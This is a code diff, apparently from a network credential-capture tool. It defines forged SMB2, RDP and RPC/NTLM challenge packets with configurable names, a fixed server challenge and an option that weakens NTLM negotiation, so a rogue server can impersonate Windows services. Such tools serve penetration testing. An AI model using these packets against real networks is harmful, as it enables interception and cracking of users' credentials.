("NTLMSSPNTLMChallengeAVPairs5UnicodeStr",settings.Config.DomainName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
||||||
("NTLMSSPNTLMPadding", ""),
|
("NTLMSSPNTLMPadding", ""),
|
||||||
@@ -1370,10 +1370,9 @@ class SMBSession1Data(Packet):
|
|||||||
("NativeLANTerminator","\x00\x00"),
|
("NativeLANTerminator","\x00\x00"),
|
||||||
])
|
])
|
||||||
|
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
###### Convert strings to Unicode
|
###### Convert strings to Unicode
|
||||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
|
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
|
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
|
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
@@ -1580,7 +1579,7 @@ class SMB2NegoAns(Packet):
|
|||||||
("NegHintTag0ASNLen", "\x26"),
|
("NegHintTag0ASNLen", "\x26"),
|
||||||
("NegHintFinalASNId", "\x1b"),
|
("NegHintFinalASNId", "\x1b"),
|
||||||
("NegHintFinalASNLen", "\x24"),
|
("NegHintFinalASNLen", "\x24"),
|
||||||
("NegHintFinalASNStr", "Server2008@SMB3.local"),
|
("NegHintFinalASNStr", "not_defined_in_RFC4178@please_ignore"),
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
@@ -1655,7 +1654,7 @@ class SMB2Session1Data(Packet):
|
|||||||
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
||||||
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
||||||
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
||||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
|
("NTLMSSPNtNegotiateFlags","\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"),
|
||||||
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||||
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
||||||
@@ -1666,22 +1665,22 @@ class SMB2Session1Data(Packet):
|
|||||||
("NegTokenInitSeqMechMessageVersionBuilt","\x80\x25"),
|
("NegTokenInitSeqMechMessageVersionBuilt","\x80\x25"),
|
||||||
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||||
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||||
("NTLMSSPNtWorkstationName","SMB3"),
|
("NTLMSSPNtWorkstationName",settings.Config.Domain),
|
||||||
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB3"),
|
("NTLMSSPNTLMChallengeAVPairsUnicodeStr",settings.Config.Domain),
|
||||||
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","WIN-PRH492RQAFV"),
|
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr",settings.Config.MachineName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB3.local"),
|
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr",settings.Config.MachineName+'.'+settings.Config.DomainName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","WIN-PRH492RQAFV.SMB3.local"),
|
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB3.local"),
|
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr",settings.Config.DomainName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
|
("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
|
("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr",SMBTime()),
|
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr",SMBTime()),
|
||||||
@@ -1824,19 +1823,19 @@ class RDPNTLMChallengeAnswer(Packet):
|
|||||||
("PacketStartASNTag0CredSSPVersion", "\x05"),##TSVersion: Since padding oracle, v2,v3,v4 are rejected by win7..
|
("PacketStartASNTag0CredSSPVersion", "\x05"),##TSVersion: Since padding oracle, v2,v3,v4 are rejected by win7..
|
||||||
("ParserHeadASNID1", "\xa1"),
|
("ParserHeadASNID1", "\xa1"),
|
||||||
("ParserHeadASNLenOfLen1", "\x81"),
|
("ParserHeadASNLenOfLen1", "\x81"),
|
||||||
("ParserHeadASNLen1", "\xfa"),#... +12
|
("ParserHeadASNLen1", "\xfa"),
|
||||||
("MessageIDASNID", "\x30"),
|
("MessageIDASNID", "\x30"),
|
||||||
("MessageIDASNLen", "\x81"),
|
("MessageIDASNLen", "\x81"),
|
||||||
("MessageIDASNLen2", "\xf7"),#... +9
|
("MessageIDASNLen2", "\xf7"),
|
||||||
("OpHeadASNID", "\x30"),
|
("OpHeadASNID", "\x30"),
|
||||||
("OpHeadASNIDLenOfLen", "\x81"),
|
("OpHeadASNIDLenOfLen", "\x81"),
|
||||||
("OpHeadASNIDLen", "\xf4"),#... +6
|
("OpHeadASNIDLen", "\xf4"),
|
||||||
("StatusASNID", "\xa0"),
|
("StatusASNID", "\xa0"),
|
||||||
("MatchedDN", "\x81"),
|
("MatchedDN", "\x81"),
|
||||||
("ASNLen01", "\xf1"),#NTLM len +3
|
("ASNLen01", "\xf1"),
|
||||||
("SequenceHeader", "\x04"),
|
("SequenceHeader", "\x04"),
|
||||||
("SequenceHeaderLenOfLen", "\x81"),
|
("SequenceHeaderLenOfLen", "\x81"),
|
||||||
("SequenceHeaderLen", "\xee"), #done
|
("SequenceHeaderLen", "\xee"),
|
||||||
#######
|
#######
|
||||||
("NTLMSSPSignature", "NTLMSSP"),
|
("NTLMSSPSignature", "NTLMSSP"),
|
||||||
("NTLMSSPSignatureNull", "\x00"),
|
("NTLMSSPSignatureNull", "\x00"),
|
||||||
@@ -1855,22 +1854,22 @@ class RDPNTLMChallengeAnswer(Packet):
|
|||||||
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
|
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
|
||||||
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
|
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
|
||||||
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
|
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
|
||||||
("NTLMSSPNtWorkstationName", "RDP12"),
|
("NTLMSSPNtWorkstationName", settings.Config.Domain),
|
||||||
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
|
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
|
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "RDP12"),
|
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", settings.Config.Domain),
|
||||||
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
|
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
|
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "RDP12"),
|
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", settings.Config.MachineName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
|
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
|
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "RDP12"),
|
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", settings.Config.MachineName+'.'+settings.Config.DomainName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
|
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
|
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "RPD12"),
|
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
|
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
|
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "RDP12"),
|
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", settings.Config.DomainName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
|
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
|
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
|
||||||
])
|
])
|
||||||
@@ -1917,4 +1916,343 @@ class RDPNTLMChallengeAnswer(Packet):
|
|||||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||||
|
|
||||||
|
#######################################RPC#################################################
|
||||||
|
class RPCMapBindAckAcceptedAns(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Version", "\x05"),
|
||||||
|
("VersionLow", "\x00"),
|
||||||
|
("PacketType", "\x0c"),#Bind ack.
|
||||||
|
("PacketFlag", "\x03"),
|
||||||
|
("DataRepresent", "\x10\x00\x00\x00"),
|
||||||
|
("FragLen", "\x2c\x02"),
|
||||||
|
("AuthLen", "\x00\x00"),
|
||||||
|
("CallID", "\x02\x00\x00\x00"),
|
||||||
|
("MaxTransFrag", "\xd0\x16"),
|
||||||
|
("MaxRecvFrag", "\xd0\x16"),
|
||||||
|
("GroupAssoc", "\x26\x2a\x00\x00"),
|
||||||
|
("SecondaryAddrLen", "\x04\x00"),
|
||||||
|
("SecondaryAddrstr", "\x31\x33\x35\x00"),
|
||||||
|
("Padding", "\x00\x00"),
|
||||||
|
("CTXNumber", "\x03"),
|
||||||
|
("CTXPadding", "\x00\x00\x00"),
|
||||||
|
("CTX0ContextID", "\x02\x00"),
|
||||||
|
("CTX0ItemNumber", "\x02\x00"),
|
||||||
|
("CTX0UID", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("CTX0UIDVersion", "\x00\x00\x00\x00"),
|
||||||
|
("CTX1ContextID", "\x00\x00"),
|
||||||
|
("CTX1ItemNumber", "\x00\x00"),
|
||||||
|
("CTX1UID", "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36"),
|
||||||
|
("CTX1UIDVersion", "\x00\x00\x00\x00"),
|
||||||
|
("CTX2ContextID", "\x03\x00"),
|
||||||
|
("CTX2ItemNumber", "\x03\x00"),
|
||||||
|
("CTX2UID", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("CTX2UIDVersion", "\x00\x00\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
Data= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["SecondaryAddrLen"])+str(self.fields["SecondaryAddrstr"])+str(self.fields["Padding"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX1ContextID"])+str(self.fields["CTX1ItemNumber"])+str(self.fields["CTX1UID"])+str(self.fields["CTX1UIDVersion"])+str(self.fields["CTX2ContextID"])+str(self.fields["CTX2ItemNumber"])+str(self.fields["CTX2UID"])+str(self.fields["CTX2UIDVersion"])
|
||||||
|
|
||||||
|
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
|
||||||
|
|
||||||
|
class RPCHeader(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Version", "\x05"),
|
||||||
|
("VersionLow", "\x00"),
|
||||||
|
("PacketType", "\x02"),#Bind ack.
|
||||||
|
("PacketFlag", "\x03"),
|
||||||
|
("DataRepresent", "\x10\x00\x00\x00"),
|
||||||
|
("FragLen", "\x0c\x01"),
|
||||||
|
("AuthLen", "\x00\x00"),
|
||||||
|
("CallID", "\x02\x00\x00\x00"),
|
||||||
|
("AllocHint", "\xf4\x00\x00\x00"),
|
||||||
|
("ContextID", "\x01\x00"),
|
||||||
|
("CancelCount", "\x00"),
|
||||||
|
("Padding", "\x00"),
|
||||||
|
("Data", ""),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
Data= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["CancelCount"])+str(self.fields["Padding"])+str(self.fields["Data"])
|
||||||
|
|
||||||
|
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
class RPCMapBindMapperAns(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("ContextType", "\x00\x00\x00\x00"),
|
||||||
|
("ContextUID", "\x00"*16),
|
||||||
|
("MaxTowers", "\x02\x00\x00\x00"),
|
||||||
|
("TowerArrMaxCount", "\x04\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("TowerArrMaxOff", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("TowerArrActualCount", "\x02\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("TowerPointer1", "\x03\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("TowerPointer2", "\x04\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("TowerTotalLen", "\x4B\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("Tower1Len", "\x4B\x00\x00\x00"), #Repeat x1 from here
|
||||||
|
("Tower1FloorsCount", "\x05\x00"),
|
||||||
|
("Tower1ByteCount", "\x13\x00"),
|
||||||
|
("Tower1IntUID", "\x0D"),
|
||||||
|
("Tower1UID", "\x35\x42\x51\xE3\x06\x4B\xD1\x11\xAB\x04\x00\xC0\x4F\xC2\xDC\xD2"),
|
||||||
|
("Tower1Version", "\x04\x00"),
|
||||||
|
("Tower1VersionMinBC", "\x02\x00"),
|
||||||
|
("Tower1VersionMinimum", "\x00\x00"),
|
||||||
|
("Tower2ByteCount", "\x13\x00"),
|
||||||
|
("Tower2IntUID", "\x0D"),
|
||||||
|
("Tower2UID", "\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60"),
|
||||||
|
("Tower2Version", "\x02\x00"),
|
||||||
|
("Tower2VersionMinBC", "\x02\x00"),
|
||||||
|
("Tower2VersionMinimum", "\x00\x00"),
|
||||||
|
("TowerRpcByteCount", "\x01\x00"),
|
||||||
|
("TowerRpctIdentifier", "\x0B"),#RPC v5
|
||||||
|
("TowerRpcByteCount2", "\x02\x00"),
|
||||||
|
("TowerRpcMinimum", "\x00\x00"),
|
||||||
|
("TowerPortNumberBC", "\x01\x00"),
|
||||||
|
("TowerPortNumberOpcode", "\x07"),#Port is TCP.
|
||||||
|
("TowerPortNumberBC2", "\x02\x00"),
|
||||||
|
("TowerPortNumberStr", settings.Config.RPCPort), #Port
|
||||||
|
("TowerIPAddressBC", "\x01\x00"),
|
||||||
|
("TowerIPAddressOpcode", "\x09"),#IPv4 Opcode.
|
||||||
|
("TowerIPAddressBC2", "\x04\x00"),
|
||||||
|
("TowerIPAddressStr", ""), #IP Address
|
||||||
|
("TowerIPNull", "\x00"),
|
||||||
|
("Data", ""), #To here, exact same packet.
|
||||||
|
("Padding", "\x00"),
|
||||||
|
("ErrorCode", "\x00\x00\x00\x00"),# No error.
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["TowerPortNumberStr"] = StructWithLenPython2or3(">H", self.fields["TowerPortNumberStr"])
|
||||||
|
self.fields["TowerIPAddressStr"] = RespondWithIPAton()
|
||||||
|
|
||||||
|
Data= str(self.fields["TowerTotalLen"])+str(self.fields["Tower1Len"])+str(self.fields["Tower1FloorsCount"])+str(self.fields["Tower1ByteCount"])+str(self.fields["Tower1IntUID"])+str(self.fields["Tower1UID"])+str(self.fields["Tower1Version"])+str(self.fields["Tower1VersionMinBC"])+str(self.fields["Tower1VersionMinimum"])+str(self.fields["Tower2ByteCount"])+str(self.fields["Tower2IntUID"])+str(self.fields["Tower2UID"])+str(self.fields["Tower2Version"])+str(self.fields["Tower2VersionMinBC"])+str(self.fields["Tower2VersionMinimum"])+str(self.fields["TowerRpcByteCount"])+str(self.fields["TowerRpctIdentifier"])+str(self.fields["TowerRpcByteCount2"])+str(self.fields["TowerRpcMinimum"])+str(self.fields["TowerPortNumberBC"])+str(self.fields["TowerPortNumberOpcode"])+str(self.fields["TowerPortNumberBC2"])+str(self.fields["TowerPortNumberStr"])+str(self.fields["TowerIPAddressBC"])+str(self.fields["TowerIPAddressOpcode"])+str(self.fields["TowerIPAddressBC2"])+str(self.fields["TowerIPAddressStr"])
|
||||||
|
|
||||||
|
self.fields["Data"] = Data
|
||||||
|
|
||||||
|
class NTLMChallenge(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("NTLMSSPSignature", "NTLMSSP"),
|
||||||
|
("NTLMSSPSignatureNull", "\x00"),
|
||||||
|
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
|
||||||
|
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
|
||||||
|
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
|
||||||
|
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
|
||||||
|
("NTLMSSPNtNegotiateFlags", "\x15\x82\x8a\xe2"),
|
||||||
|
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||||
|
("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
|
||||||
|
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
|
||||||
|
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
|
||||||
|
("NTLMSSPNtWorkstationName", settings.Config.Domain),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", settings.Config.Domain),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", settings.Config.MachineName),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", settings.Config.MachineName+'.'+settings.Config.DomainName),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", settings.Config.DomainName),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
|
||||||
|
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
###### Convert strings to Unicode first
|
||||||
|
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
|
||||||
|
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
|
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
|
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
|
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
|
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
|
|
||||||
|
###### Workstation Offset
|
||||||
|
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||||
|
###### AvPairs Offset
|
||||||
|
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||||
|
|
||||||
|
##### Workstation Offset Calculation:
|
||||||
|
self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
|
||||||
|
self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
|
self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
|
##### IvPairs Offset Calculation:
|
||||||
|
